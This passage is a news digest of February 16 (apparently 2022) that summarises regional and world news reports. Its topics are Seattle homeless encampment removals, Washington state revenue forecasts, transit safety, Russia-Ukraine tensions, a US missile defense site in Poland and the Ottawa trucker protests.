Some homeless advocates, like Alison Eisinger, director of the Seattle-King County Coalition on Homelessness, aren't overly optimistic.

"There isn't currently enough individual housing or shelter to do what some people want, which is not to have to see human suffering in public," Eisinger said. "If you don't want people to be homeless in downtown streets, there is no magic wand. There is hard work and we should do it."

Did the sweeps ever stop?

Clearing a homeless encampment is not only tough for the people in the encampment and the ones removing it. It's also tricky politically. The mayor doesn't have enough resources to constantly clear small encampments that dot the city; [one survey done in 2020](#) found over 120 clusters of between two and 10 tents.

But if an encampment gets big enough, it becomes a new kind of challenge. If there aren't enough shelter spots for everyone when the encampment is removed, the city risks [running afoul of court decisions](#) that dictate local governments can't punish someone for staying in a tent if there's nowhere else for them to stay in the city.

Since at least former Mayor Ed Murray's administration, city officials have insisted that they don't do homeless "sweeps," a practice the ACLU of Washington describes as "the forced disbanding of homeless encampments on public property and the removal of both homeless individuals and their property from that area." Instead, outreach workers offer shelter beds to people and city workers hang on to their belongings so they can come retrieve them.

But activists in the "Stop the Sweeps" campaign still treated city actions under Murray and his successor, Jenny Durkan, as sweeps. They were still technically forced, and [a Seattle Times investigation found](#) that when belongings were removed from encampments, many homeless people lost their IDs, medical devices and medications. Data from early 2020 showed most people didn't want to go to a shelter, or if they did, they never [actually got into a bed](#).

Then, COVID-19 hit and the Centers for Disease Control recommended cities stop almost all encampment removals to contain the coronavirus' spread.

"We were all grounded for two years," said Washington. She sees keeping sidewalks and right-of-ways clear as a "fundamental job of local government," but the city had to balance that with the fact that people weren't walking in the urban core like they used to. "We chose to be very lenient because there weren't a lot of people coming downtown."

In this void, advocates in the city council, Public Defender Association and local homeless outreach providers pushed for a bigger focus on getting campers into shelter, rather than getting them out of an encampment. New money from the federal and county government helped fund hundreds of hotel rooms and shelter beds to put these displaced campers in.

Durkan agreed to hold the timeline back on clearing large encampments at City Hall Park, Ballard Commons, Bitter Lake and many others, while outreach workers went in for weeks to try and get homeless people inside.

It's unclear whether this approach has long-term success yet: Most people who leave a shelter go back to the street or unknown destinations, not housing. [One encampment under I-5 removed using this method in 2020](#) saw more than a third leave the hotels by August 2021, likely back to the street, and more than a quarter couldn't be accounted for.

The encampment clearings began to ramp back up toward the end of Durkan's term. In 2021, Durkan completed around 70 removals, according to a spokesperson for the city parks department. In January, Harrell's staff removed 11 encampments, from Westlake Park to Miller Playfield, and most didn't result in anybody going into shelter. A city spokesperson said the removals were either "obstructions," where camps were blocking a right of way, or a camper had moved into a place that had been cleared previously.

Some advocates of the pandemic-era approach are hoping Harrell's plans will be more humane and effective than previous mayors'. Councilmember Andrew Lewis, who represents downtown, has begun speaking with Washington and other leaders about a "mitigation" strategy — making camping legal in some areas of the city or a few sites.

"If we're pivoting back to pre-COVID removals, I guess my response is this — homeless people are like any people. They respond to incentives and they will follow the rules if the rules are made clear," Lewis said. "Where can you camp?"

It's possible Harrell's efforts will end up being much tougher than the City Council or homeless advocates were hoping for, said Nick Licata, a former council member who served for years with Harrell on the council.

But it may not be too tough for the people of Seattle who elected Harrell.

"[Harrell's administration is] caught in a bind, basically. They want to see something done that is effective, that will get people into homes. They also believe that the majority of people in Seattle have run out of patience," Licata said. "I think they're going to take harder steps than the majority of council will like and I think they believe that they've got a substantial portion of the electorate who will tolerate some measures which are going to be seen as tough, but clearly doing something."

[Return to Top](#)

HEADLINE	02/16 WA revenue projections: \$2.7B increase
SOURCE	https://www.seattletimes.com/seattle-news/politics/wa-revenue-projections-see-2-7-billion-increase/
GIST	<p>OLYMPIA, Wash. (AP) — As Washington lawmakers prepare to release their supplemental budget proposals, they received news Wednesday that state revenue projections increased by more than \$2.7 billion than originally expected through mid-2025.</p> <p>Updated numbers by the Economic and Revenue Forecast Council show that projected revenue collections for the 2021-2023 budget cycle are more than \$1.4 billion above what had been forecasted in November. And projections for the next two-year budget cycle that ends in mid-2025 increased by more than \$1.3 billion.</p> <p>Revenues for the current budget cycle that ends mid-2023 are now projected to be nearly \$61.7 billion. And projected revenues for the next two-year budget cycle that starts July 1, 2023 are projected to be nearly \$64.5 billion.</p> <p>Steve Lerch, the chief economist and executive director of the council, said that high inflation rates driving up the costs of goods — and in turn money collected by the sales tax and business taxes — is</p>

	<p>part of what has been driving the increase in revenues, as well as higher than expected growth in both retail and real estate transactions.</p> <p>Republican legislative members of the Economic and Revenue Forecast Council said in response to the strong growth, tax cuts should be part of any final budget plan presented by majority Democrats.</p> <p>Lawmakers are more than halfway through the 60-day legislative session that started on Jan. 10, and the Senate is expected to release its supplemental budget plan early next week, followed by the House.</p> <p>“This is a larger adjustment to the budget than I think any of us anticipated, fortunately to the good,” said Sen. Christine Rolfes, the chief budget writer for Senate Democrats and member of the council.</p> <p>But she still expressed caution about how to use the influx of revenue, citing ongoing uncertainty about inflation and other potential unknowns that could affect state coffers in the future.</p> <p>“I think we’re in a good place to be able to meet the challenges coming ahead of us over the next few years,” she said.</p> <p>Republican Sen. Lynda Wilson said she would continue to advocate for tax relief, including a property tax cut, saying that “some form of tax relief would be very much appreciated right now as we move through this inflationary period.”</p> <p>The next state revenue forecast will be in June.</p>
Return to Top	

HEADLINE	02/16 King Co. confronts Metro Transit bus safety
SOURCE	https://www.seattletimes.com/seattle-news/transportation/king-county-reaches-for-ideas-to-calm-problems-on-buses/
GIST	<p>In the future, teams of helpers might meet King County Metro Transit buses at the end of their trips, to coax so-called “non-destinational riders” into accepting social services without a confrontation.</p> <p>Officials hope the program improves conditions for transit operators, who now make stressful decisions about whether to disturb somebody who might be experiencing a drug overdose, easily enraged or simply seeking warmth in the night. If roving responders persuade someone in crisis to leave, that lessens the need to involve police.</p> <p>Terry White, Metro’s general manager, described the concept Tuesday during a Metropolitan King County Council committee briefing as including security and social service workers at locations throughout the transit system, or a mobile unit to “support customers in crisis.” Housing, mental health and addiction specialists would participate.</p> <p>Metro, which used to be the nation’s seventh-busiest public bus agency, is looking to rebuild ridership as pandemic restrictions ease after losing half its 400,000 daily customers. Safety is part of the solution.</p> <p>Metro will return to community groups for another round of consultation before issuing a final plan and schedule, spokesperson Sean Hawks said after the meeting.</p> <p>In the near term, White pledged to enlist transit police, who are sheriff’s deputies, to help remove those who stay aboard and refuse services. Policy changes, reacting more quickly to remove repeat violators, will begin “in the next few months,” Hawks said.</p> <p>White said the pilot project to offer services to troubled passengers will be based on a Safety, Security and Fare Enforcement report, released Tuesday by King County Executive Dow Constantine and Metro after 15 months of outreach. A primary theme of SaFE is reducing racism as a public health hazard, in light of social justice protests and the murder of George Floyd by Minneapolis police officers.</p>

The Amalgamated Transit Union Local 587 is [demanding immediate relief](#) from passengers smoking fentanyl, meth or heroin. Operators filed 398 incident reports involving drugs last year, and other incidents go unreported. They say the problem also deters riders when Metro is looking to rebound from the pandemic.

“I would love to see everyday riders going to the stores, taking their kids for outings, doing these things,” bus driver Erik Christensen told council members. Instead, he said, drugs are smoked daily, and he often loses 15 minutes from his route to have someone removed.

“Ridership is down, people are going to start going back to work. They’re not going to be taking the buses because it is so horrible,” Christensen said. If the county can reduce drugs aboard, more people will ride, he said.

“None of us have agreed to operate shelters or crack houses on wheels. Metro is not the answer to King County’s homeless problem,” Local 587 member Lynn Donovan told council members. She contrasted neglect of transit workers to last summer’s [attempted rape of a public employee](#) inside a King County Courthouse restroom, when “no stone was left unturned to [clear out the encampment](#) next to the courthouse.” She continued, “As a group, we feel there is no equity for us.”

Metro previously said it’s hiring unarmed Securitas guards, with a goal of 74 deployed by midyear. The agency increased guard presence at Burien and Aurora Village transit centers, White said. White told the council to expect added costs for safety improvements.

Last year there were 48 reported assaults on operators, and 333 “physical disturbances” aboard buses, [according to a Metro chart presented Tuesday](#). Those numbers are fewer than in some years, but White said the only acceptable number of assaults is zero.

Councilmembers pointed to wider problems.

“So many of society’s failures are flowing in through your transit systems. You’re not set up to be hospitals, you’re not set up to be mental health facilities or drug addiction service beds. Those are all things that are upstream from you, and those are things that we as a council, as a state, a country need to grapple with and address,” said Councilmember Girmay Zahilay, whose district extends from Skyway to the University District.

Councilmember Claudia Balducci of Bellevue said without a holistic policy, simply removing people won’t even aid the transit system. “You can throw somebody off your coach, and there’s another coach right behind it.”

[Return to Top](#)

HEADLINE	02/16 Seattle residents, businesses block RVs
SOURCE	https://komonews.com/news/project-seattle/in-some-seattle-neighborhoods-residents-businesses-take-steps-on-their-own-to-block-rvs
GIST	<p>SEATTLE — With Mediterranean-style seafood menu and breath-taking views of downtown Seattle, Westward restaurant sits on prime waterfront real estate in the Lake Union neighborhood.</p> <p>But assistant manager Rachel Fream says they are also dealing with a much less appetizing situation across the street: Several RVs that have parked in the area that provide as homes for people living inside.</p> <p>“We sort of feel powerless to do anything about it,” she said.</p> <p>Even after a recent sweep by city crews, Northlake Way remains jam packed with dozens of RVs and vehicles that have homeless people living inside.</p>

"Some of which have been abandoned or burned down," Fream said.

She said this encampment has also brought criminal activity to the area, including break-ins and illegal drug use.

"We've been losing business," Fream said. "Or people call and complain, saying they didn't feel safe walking down here."

Jill Irvine says some of the RVs are also blocking parts of the walking path along Northlake Way.

"It's just not an option any more," Irvine said. "It's no longer accessible."

That's why a few weeks ago, Westward's building owner Mark Grey and some other area businesses bought massive concrete slabs known as ecology or "eco" blocks at a cost of \$20 a piece.

The controversial tactic to prevent RVs from parking on city streets is gaining momentum in the business community.

Grey is hoping these barriers keep other RV's from moving in, since the city refuses to tow vehicles if they are considered as someone's home.

"I don't know if they want to fine us fine," Grey said. "Fine the group that did it, fine."

The Seattle Department of Transportation says it is illegal to place large objects like eco blocks in a public place. A first time offense carries a \$1,000 fine.

But the Seattle Department of Transportation has only given out warnings so far. The agency would not say why they have not taken enforcement action yet.

"It makes it hard on the homeless to find a safe place to be," says the Rev. Bill Kirlin-Hackett, who is from the Interfaith Taskforce on Homelessness, adding that the big gray eco blocks are a problem that is worsened by the lack of enforcement from the city. "I will use the kindest word right now. I think they are confused about it right now (and) they don't know what to do."

For months now, more eco blocks have been popping up all across the city, including ones placed on the street in Ballard by Fremont Brewery owner Sarah Nelson, who also sits on the Seattle City Council.

"It's now part of doing business in the city of Seattle," said Tim Wistrom, owner of Atlas Construction. "We are at a point now where we are on our own."

He said business owners in Magnolia's Interbay Industrial area are also feeling emboldened. Just a few days ago, some of them purchased and placed eco blocks to line nearby streets.

"If the city's not going to do anything about it, what are we to do?" Winstrom said.

We also asked Mayor Bruce Harrell if anything can be done to make sure this eco block situation doesn't turn into a free for all. But no one from his office got back to us.

[Return to Top](#)

HEADLINE	02/16 Alaska Airlines subscription-based flying
SOURCE	https://komonews.com/news/local/alaska-airlines-introduces-flight-pass-a-subscription-service-for-flying
GIST	SEATTLE – Get ready to add another subscription to your monthly bills, except this one isn't going to be something to watch another show with. Alaska Airlines announced Wednesday its Flight Pass, a subscription-based travel club.

	<p>Members will be given the ability to fly up to 24 roundtrips a year to routes in California, as well as nonstop service from airports there to Reno, Phoenix and Las Vegas.</p> <p>Annual plans start at \$49 per month.</p> <p>"Flight Pass builds on our mission to offer travelers the most West Coast destinations at the best value," said Alex Corey, managing director of business development and products for Alaska Airlines.</p> <p>"Our commitment to care means offering convenient and affordable options that fit our guests' lifestyle and connect them to where they want to go. After two years of staying close to home, guests are ready to travel again and with 100 daily flights from 16 airports throughout California and between California to Reno, Phoenix and Las Vegas, Flight Pass will take them there."</p> <p>There are two annual plans, which you can learn more about here.</p>
Return to Top	

HEADLINE	02/16 New Tacoma PD chief: change is needed
SOURCE	https://www.q13fox.com/news/fox-13-news-speaks-with-tacoma-police-chief-about-change-needed-in-the-city
GIST	<p>TACOMA, Wash. - FOX 13 News spoke one-on-one with new Tacoma Police Chief, Avery Moore, about his plans to address the issues the city is facing.</p> <p>Moore says he spent the first three weeks in his new role getting to know staff and city leaders.</p> <p>Now, he is sitting down and speaking directly to FOX 13 News about his plans for Tacoma.</p> <p>Tacoma is seeing an increase in crime in several areas: arsons are up, car thefts are up, street racers are terrorizing neighborhoods, and most concerning is that homicides are at the highest rate the city has seen since the 90s.</p> <p>"My objective is to reduce overall crime in the city of Tacoma," said Moore.</p> <p>Moore says there is a crime plan in place, with an emphasis on targeting high-crime areas in the city with more police visibility and working to get repeat offenders off the street, but he says fixing this issue will take time.</p> <p>"I'm asking them to be patient as it relates to crime. Crime didn't occur overnight, we're not going to be able to address it overnight," he said.</p> <p>Moore tells FOX 13 News he is also working to rebuild the department. Moore says there are about 55 officer vacancies right now with TPD, and he says morale has been low.</p> <p>In just the last few weeks, Moore says he is already noticing a positive change.</p> <p>"Officers didn't feel valued. They didn't feel like the work they were doing was appreciated. A lot of that was because we didn't let people know the great work that we're doing. We're changing that," he said.</p> <p>Moore says he is focusing on lateral hires to get staffing numbers back up. Lateral hires from other Washington State police departments means officers can get on the streets quicker.</p> <p>On Tuesday, Chief Avery Moore assumed his new role as Police Chief for the city of Tacoma.</p> <p>He says the department is also working on retention packages to keep officers on staff.</p> <p>Finally, Moore discussed the effort to heal relations between Tacoma Police and its community.</p>

Return to Top	<p>"It's my responsibility to show you that I'm sincere about building your trust and gaining your trust, because I recognize why we don't have it," he said.</p> <p>High-profile incidents, including the Manny Ellis case, put a strain on the relationship between police and the city.</p> <p>Moore says he plans to make changes that should have happened a long time ago.</p> <p>Specifically, focusing on recommendations from 21CP Solutions.</p> <p>About a year ago, a third-party organization contracted through the city, provided dozens of recommendations for reforming the Tacoma Police Department.</p> <p>Moore says no real action came following the release of these recommendations, and he plans to change that.</p> <p>"The reason we're still having the same conversation is because we thought implementation, again, was just check the box and say we did it, and we didn't really implement it the way we should have implemented it," he said.</p> <p>Moore says they have already started implementing changes.</p> <p>He says a big part of the responsibility for addressing these issues will come from the Tacoma Police Department, but he also says the community must also be involved in bringing change.</p>
-------------------------------	---

HEADLINE	02/16 Covid cases falling; hospitals still packed
SOURCE	https://www.q13fox.com/news/covid-cases-falling-in-washington-but-hospitals-remain-packed
GIST	<p>SEATTLE - COVID-19 infections are falling in Washington, and state leaders are poised to announce end dates for mask mandates and vaccination requirements.</p> <p>Despite the good news, Washington's hospitals are still packed with patients.</p> <p>UW Medicine reports that in January, they were treating as many as 204 COVID-19 inpatients across their four hospitals. Today, that number is fewer than 50.</p> <p>While the numbers are improving, UW Medicine is still treating patients for things other than COVID, and capacity remains tight.</p> <p>"For the most part, every bed is full," said John Lynch with Harborview Medical Center's infection control program. "It is not just the decision to have care, it's care that is desperately needed by people."</p> <p>Lynch still encourages people not to throw out their face masks, even if mask mandates come to an end.</p> <p>"Surgical masks, medical masks, K95s, N95s and similar shouldn't go anywhere, if you feel that's the right move for you," said Lynch.</p>
Return to Top	

HEADLINE	02/16 Tensions spike; West accuses Russia lying
SOURCE	https://www.nytimes.com/2022/02/16/world/europe/ukraine-russia-putin-nato.html
GIST	<p>KYIV, Ukraine — Tensions over Ukraine abruptly ratcheted up on Wednesday as Western officials accused Russia of lying about whether it had really begun pulling back troops from the Ukrainian border.</p> <p>After days marked by flickers of hope that the conflict might be resolved peacefully, a senior American official, who refused to be quoted by name, told reporters that far from winding down its deployment,</p>

Moscow had added more than 7,000 combatants. Western allies expressed similar doubts about the Russian claims.

The American official directly accused Russia of lying, saying there was fresh evidence it was mobilizing for war.

British military officials said Wednesday they had spotted Russian armored vehicles, helicopters and a field hospital moving toward Ukraine's border.

"Contrary to their claims, Russia continues to build up military capabilities near Ukraine," Lt. Gen. Jim Hockenhull, the British chief of defense intelligence, said in a statement. "Russia has the military mass in place to conduct an invasion of Ukraine."

The Western warnings contrasted sharply with Russia's attempts to show that it was de-escalating.

Only hours earlier, the Russian Defense Ministry had released a video of a military convoy departing Crimea over the 12-mile bridge to Russia that President Vladimir V. Putin ordered built after the peninsula's 2014 annexation. And the Kremlin's spokesman praised the United States for being willing to negotiate and for offering constructive ideas.

With the sudden turn of events Wednesday night, the outlines of any diplomatic solution to the crisis once again looked very hard to discern.

In recent days, American officials had pointedly declined to accept Russian claims of a pullback.

On Wednesday, Secretary of State Antony J. Blinken, in an interview on MSNBC, said that the military units critical for an invasion force were continuing to move "toward the border, not away from the border."

To some extent, the battle between the West and Moscow over Ukraine has been one of signaling. To keep international pressure on Russia high, the United States has repeatedly declared that an invasion was near, even imminent. Moscow, in turn, has repeatedly accused Washington of exaggerating the threat.

But beyond the verbal dueling, real troops have been repositioned.

In Brussels, defense ministers from the NATO countries discussed ways to reinforce military positions on its eastern perimeter, while the group's secretary general, Jens Stoltenberg, said he also saw nothing to support Russia's claim of a drawdown. "What we see is that Russian troops are moving into position," Mr. Stoltenberg said.

Mixed signals have been emanating virtually daily from Kyiv and Moscow, posing a challenge for diplomats, analysts and military planners. All sides are following delicate strategies, trying to appear resolute but not inflexible, so as to avoid blame in the event of war.

"There's a lot of bluffing," said Igor Novikov, a former foreign policy adviser to President Volodymyr Zelensky of Ukraine. "It's a poker game at the moment. But a very dangerous poker game."

After talking up the prospects for diplomacy in recent days, Mr. Putin went silent on the crisis, taking no questions after meeting with President Jair Bolsonaro of Brazil, though his government continued to telegraph openness to diplomacy and dismissed the idea of an invasion.

For Mr. Putin, Russian analysts said, the plan remained to use the threat of war to achieve far-reaching objectives that he would prefer to attain peacefully: a rollback of NATO's presence in Eastern Europe and the recognition of a Russian sphere of interest in the region, including Ukraine.

Dmitri Trenin, the director of the Carnegie Moscow Center, said he expected many Russian troops to remain positioned near the border, in part to maintain that state of tension. "He will keep the pressure on until he gets a satisfactory answer to his main question," he said.

Mr. Putin appeared to dial down tensions this week in part because he had already made important early gains in a diplomatic effort that could still last for months. The United States, for instance, said it was prepared to revive talks on the placement of short- and intermediate-range missiles in Europe. Some dialogue had already begun last year.

Mr. Putin has multiple ways to keep the pressure on, among them ominous new military moves, disinformation and cyberattacks. He can also wield political tactics like Tuesday's vote in Russia's Kremlin-controlled Parliament that called on Mr. Putin to recognize the independence of the Russian-backed separatists in eastern Ukraine, a move that he said he was not yet prepared to make.

"We are at the end of the beginning," Mr. Trenin said, suggesting negotiations could continue for some time. "The game itself is still to come."

One aspect has already emerged into public view: a discussion underway by European, Russian and Ukrainian leaders and officials over whether Ukraine might resolve the threat by abandoning its ambitions to join NATO.

After months of rejecting the Kremlin's demands that NATO rule out Ukraine's membership, American officials have also begun to signal that the question is one for Ukrainians themselves to decide. Even Mr. Zelensky has softened a bit recently, saying, "It seems to me that no one is hiding it anymore."

Analysts say the trick will be to devise a plan that will be acceptable to the Kremlin without provoking a backlash in Ukraine that could destabilize the government.

"Everyone must step back a bit here and make it clear to themselves that we just can't have a possible military conflict over a question that is not on the agenda," Germany's chancellor, Olaf Scholz, said after meeting with Mr. Putin on Tuesday, speaking of Ukrainian NATO membership.

A Ukrainian deputy prime minister, Iryna Vereshchuk, suggested a referendum as a way to sell what would surely appear to be a concession to the Ukrainian public.

"The president assumes there is such a possibility, if there are no other options or tools," Ms. Vereshchuk said in an interview on Ukrainian television. The prospects of Russia agreeing to a referendum are uncertain, as preparations could take months, during which it would be costly for Moscow to continue to maintain the threat of an imminent invasion.

But in a signal of possible American support, Wendy R. Sherman, the deputy secretary of state who in earlier rounds of talks had refused to accede to Russian demands that the United States rule out NATO membership for Ukraine, said in an interview published Wednesday that it would support any decision made by the Ukrainians.

"This decision remains with the Ukrainian people, what they want, where they see their future," Ms. Sherman told Yevropaiska Pravda, a Ukrainian news outlet. "This is your choice."

It seems certain that Mr. Putin will not be satisfied with simple assurances that Ukraine has no intention of joining NATO currently, or a vague moratorium. "They are telling us it won't happen tomorrow," he said Tuesday. "Well, when will it happen? The day after tomorrow?"

Analysts have suggested setting a length for a moratorium, say 20 to 25 years, to assuage Mr. Putin's misgivings.

	<p>Mr. Scholz pressed the idea of a lengthy delay, saying any Ukrainian entry into NATO was not likely during either of their terms in office. “I don’t know how long the president intends to stay in office,” he said, in a rare barb by a German leader directed at Mr. Putin. “I have a feeling for a little while yet, but certainly not forever.”</p> <p>Senior Russian officials had some fun of their own, needling Washington for its prediction that an invasion could start on Wednesday — perhaps in the wee hours of the morning, according to some news reports. Maria V. Zakharova, the Foreign Ministry’s often caustic spokeswoman, said she would appreciate U.S. and British news outlets publishing the schedules for Russia’s “invasions” in the coming year, because “I’d like to plan my vacation.”</p>
	Return to Top

HEADLINE	02/16 US missile facility in Poland
SOURCE	https://www.nytimes.com/2022/02/16/world/europe/poland-missile-base-russia-ukraine.html
GIST	<p>REDZIKOWO, Poland — Tomasz Czesiek, a Polish archaeologist and television journalist, walks his dog each morning through a forest near his home here on NATO’s eastern flank, wandering along the edge of a green chain-link fence topped with razor wire.</p> <p>He enjoys the fresh air and morning quiet — until loudspeakers on the other side of the fence, strung with “Keep Out” signs in Polish, English, German and Russian, start blasting “The Star -Spangled Banner” at high volume.</p> <p>“I don’t know anyone who has ever been inside there,” Mr. Czesiek said, pointing across the fence toward a cluster of haze-shrouded buildings in the distance.</p> <p>The fence is the outer perimeter, guarded by Polish soldiers, of a highly sensitive U.S. military installation, expected to be operational this year, which Washington insists will help defend Europe and the United States from ballistic missiles fired by rogue states like Iran.</p> <p>But for President Vladimir V. Putin of Russia, the military base in Poland, and another in Romania, are evidence of what he sees as the threat posed by NATO’s eastward expansion — and part of his justification for his military encirclement of Ukraine. The Pentagon describes the two sites as defensive and unrelated to Russia, but the Kremlin believes they could be used to shoot down Russian rockets or to fire offensive cruise missiles at Moscow.</p> <p>On Wednesday, Russia announced further troop withdrawals and Ukraine signaled a willingness to forgo its ambitions to join NATO, a critical issue in the current conflict with Moscow. But tensions ratcheted up later in the day when a U.S. official said that Russian claims about a reduced troop presence were “false” and that there was fresh evidence Moscow was “mobilizing for war.”</p> <p>As he threatens Ukraine, Mr. Putin has demanded that NATO reduce its military footprint in Eastern and Central Europe — which Washington and European leaders have flatly refused to do. Mr. Putin has been fuming about American missiles near Russia’s border since the Romanian site went into operation in 2016, but the Polish facility, located near the village of Redzikowo, is only about 100 miles from Russian territory and barely 800 miles from Moscow itself.</p> <p>“Are we deploying missiles near the U.S. border? No, we are not. It is the United States that has come to our home with its missiles and is already standing at our doorstep,” Mr. Putin said in December at his annual news conference.</p> <p>The Polish base, the heart of which is a system known as Aegis Ashore, contains sophisticated radars capable of tracking hostile missiles and guiding interceptor rockets to knock them out of the sky. It is also equipped with missile launchers known as MK 41s, which the Russians worry can be easily repurposed to fire offensive missiles like the Tomahawk.</p>

For villagers in Redzikowo, the idea that they are living at the forefront of Mr. Putin's oft-stated security concerns has already caused jitters for some local residents.

Ryszard Kwiatkowski, a civil engineer who works in construction, said a customer who reserved an apartment in a new block his company is building recently called to cancel her planned purchase because of worries that Russia could strike the missile defense facility at Redzikowo and send property values through the floor.

Nobody really thinks that is likely — it would put Russia into direct conflict with NATO, of which Poland has been a member since 1999. But assumptions of a unified and peaceful Europe that took hold with the end of the Cold War are crumbling as Russian troops mass on the border with Ukraine and the [United States sends thousands of additional soldiers](#) to Poland.

Mr. Kwiatkowski, who took part in protests against the American facility at Redzikowo when it was announced in 2016, said Russia had stoked unease by exaggerating the threat posed by NATO. But, he added, both sides have created “a self-propelling machine of fear” fueled by nerve-jangling uncertainty over what the other is up to.

[Thomas Graham](#), who served as senior director for Russia on President George W. Bush's National Security Council, said Moscow had never believed Washington's assurances that its missile defense system was aimed at Iran, not Russia. The issue, he added, had become a powerful symbol for the Kremlin of a post-Cold War order that it views as dangerously one-sided and which it is now trying to revise through military threats.

“The current crisis is really much broader than Ukraine,” Mr. Graham said. “Ukraine is a leverage point but it is more about Poland, Romania and the Baltics. The Russians think it is time to revise the post-Cold War settlement in Europe in their favor.”

In a meeting with Mr. Putin on Monday, Russia's foreign minister, Sergey V. Lavrov, emphasized that Russia wanted to see “radical changes in the sphere of European security,” far-reaching changes that go beyond just Ukraine to include a pullback of NATO troops now in Eastern Europe, limits on the deployment of offensive weaponry and restrictions on intermediate range missiles.

Tomasz Smura, director of research at the Casimir Pulaski Foundation, a Warsaw research group, said, “This is a huge issue for Russia.”

But shutting down the Redzikowo site, as Moscow wants, he added, is a “red line” that the United States and Poland will not cross, though NATO, in response to a list of demands made by Moscow in December, recently offered discussion of an unspecified “transparency mechanism” in the hope of calming Russian concerns over the Polish and Romanian sites.

But Moscow wants much more than that.

Missile defense has long been viewed by Russia as a dangerous American attempt to degrade the main guarantor of its great power status — a vast nuclear arsenal. The possibility that the United States could shoot down Russian ballistic missiles undermines the deterrent doctrine of mutually assured destruction, which posits that neither of the two biggest nuclear powers would ever risk a nuclear war because it would mean both get annihilated.

During the Cold War, Russia and the United States both worked on developing antimissile defenses, but agreed in 1972 to abandon their rocket shield programs so as to preserve mutual vulnerability and, they hoped, peace.

It worked for nearly 30 years. But, at the end of Mr. Putin's second year as president in December 2001, President George W. Bush infuriated the new Russian leader by [pulling out of the 1972 Antiballistic](#)

[Missile Treaty](#) and directing the Pentagon to build a system to ward off the possible threat of missiles from Iran.

The U.S. withdrawal from what had been a cornerstone of superpower relations for decades has since been cited repeatedly by the Kremlin as the start of its disenchantment with the United States and Mr. Putin's belief that Russian interests are being needlessly trampled.

"We tried for a long time to persuade our partners not to do this," Mr. Putin said this month in the Kremlin. "Nevertheless, the U.S. did what it did — withdrew from the treaty. Now antiballistic missile launchers are deployed in Romania and are being set up in Poland."

Should Ukraine draw closer to NATO, Mr. Putin thundered, "it will be filled with weapons. Modern offensive weapons will be deployed on its territory just like in Poland and Romania."

The Aegis Ashore site in Romania has been operating for five years without incident, but Russia views the Polish missile defense facility, previously stalled by construction and other problems, as a more serious menace.

The weapons system was installed last summer in the facility, which is scheduled to start working sometime this year, Rear Admiral Tom Druggan, the program's director, [said in November](#). "It is specifically not focused on threats out of Russia, despite what they say," he said.

American assurances that only Iran need worry, however, were undermined during the Trump administration when the president stated that U.S. missile defense systems would "detect and destroy any missile launched against the United States anywhere, anytime, anywhere."

Washington has also struggled to convince Mr. Putin that its two missile defense sites in Eastern Europe do not also have an offensive capability that could easily be turned against Russian targets.

Responding to Russian complaints, NATO [declared last month that interceptor missiles deployed at Aegis Ashore sites](#) "cannot undermine Russian strategic deterrence capabilities" and "cannot be used for offensive purposes." It added that the interceptors contained no explosives and could not hit ground targets, only airborne objects.

"In addition, the site lacks the software, the hardware and infrastructure needed to launch offensive missiles," NATO said.

Some independent experts, however, believe that while requiring a rejiggering of software and other changes, the MK 41 launchers installed in Poland and Romania can fire not only defensive interceptors but also offensive missiles. Matt Korda, an analyst at the Federation of American Scientists, said that "without visual inspections, there is no way to determine whether or not this Tomahawk-specific hardware and software have been installed at the Aegis Ashore sites in Europe."

So far only NATO military personnel have been allowed anywhere near the launchers or their control units. The U.S. Navy, which operates the Aegis Ashore site in Poland, did not respond to a request by The New York Times for a visit.

Beata Jurys, the elected head of Redzikowo, said she had never been inside the facility, installed on the grounds of a former Polish air force base and a shuttered civilian airport, and does not follow technical arguments over what missiles can be fired from behind the fence near her house.

But, no matter who is telling the truth, Ms. Jurys said, the finger-pointing by Moscow and Washington has made the village a potential target in the event of war.

"If something happens, we will be the first to know, unfortunately," she said.

HEADLINE	02/16 Ottawa protesters brace for clampdown
SOURCE	https://www.nytimes.com/2022/02/16/world/canada/ottawa-protesters-police.html
GIST	<p>The police on Wednesday ordered protesters clogging Ottawa's streets to leave or face criminal charges, appearing to set the stage for a clampdown aimed at ending demonstrations that have roiled the nation's capital for weeks, and reverberated around the world.</p> <p>The impetus to stop protests buffeting the country was amplified this week after the Royal Canadian Mounted Police, Canada's national police, said Tuesday that four protesters in Alberta had been charged with conspiracy to murder R.C.M.P. police officers. Police officials said those arrested belonged to a small cell in the province that planned to use violence if officers tried to break up a now-disbanded blockade in Coutts, a village in southern Alberta bordering Montana.</p> <p>A stockpile of weapons — including 13 long guns, handguns, a machete, multiple sets of body armor, and a large quantity of ammunition and magazines — was discovered by the police in trailers in Alberta on Monday morning.</p> <p>Thirteen people were arrested, ranging in age from 18 to 62, the R.C.M.P. said. In addition to charging four with conspiracy to commit murder, the police charged most of the remaining protesters with possession of a weapon.</p> <p>The arrests in Coutts and warnings in Ottawa come as Prime Minister Justin Trudeau this week has made his most aggressive move yet, declaring a national emergency aimed at ending the demonstrations that began nearly three weeks ago to protest vaccine mandates, but have transformed into a battle cry against pandemic restrictions in general and against his premiership.</p> <p>Mr. Trudeau's invocation of the Emergencies Act was the first time in more than a half-century that a Canadian government had taken such a drastic step. Police officials across the country can now seize trucks and other vehicles used in the protests — though most of the most disruptive blockades or demonstrations, besides Ottawa, had been tamed or overcome by Wednesday. Demonstrations that “go beyond lawful protest” would be banned, the prime minister said, and the government would formally bar blockades in designated areas like border crossings, airports and the capital.</p> <p>In what appeared to be a preamble to clearing the demonstrations in Ottawa, the Ottawa Police Service on Wednesday distributed leaflets warning protesters to leave or risk being arrested.</p> <p>“You must leave the area now,” the Ottawa Police Service said in a statement and in leaflets handed out to protesters. “Anyone blocking streets, or assisting others in the blocking streets, are committing a criminal offense and you may be arrested,” the warnings said. “You must immediately cease further unlawful activity or you will face charges.”</p> <p>Andrew Broe, 52, a trucker from Trenton, Ontario, took the leaflet from the police and threw it into the fire he was tending in a canister to keep warm on the street outside the Parliament building. “It is a piece of encouragement,” he said, referring to the leaflet. “They are drawing at straws trying to remove a peaceful protest.”</p> <p>Denis Brown, 57, who said he quit his job as a technology service provider because he didn't want to get vaccinated for travel, was circulating his own message on a piece of paper: The politicians should be arrested, it said.</p> <p>At a news conference on Wednesday, protest organizers called on more demonstrators to pour into Ottawa to help foil police efforts to put the occupation down.</p> <p>“We are concerned that the government will order the police to use violence against the peaceful protesters,” said Vincent Gircys, a former officer with the Ontario Provincial Police. “Having more Canadians here,” he added, “will prevent the police from carrying out their government orders.”</p>

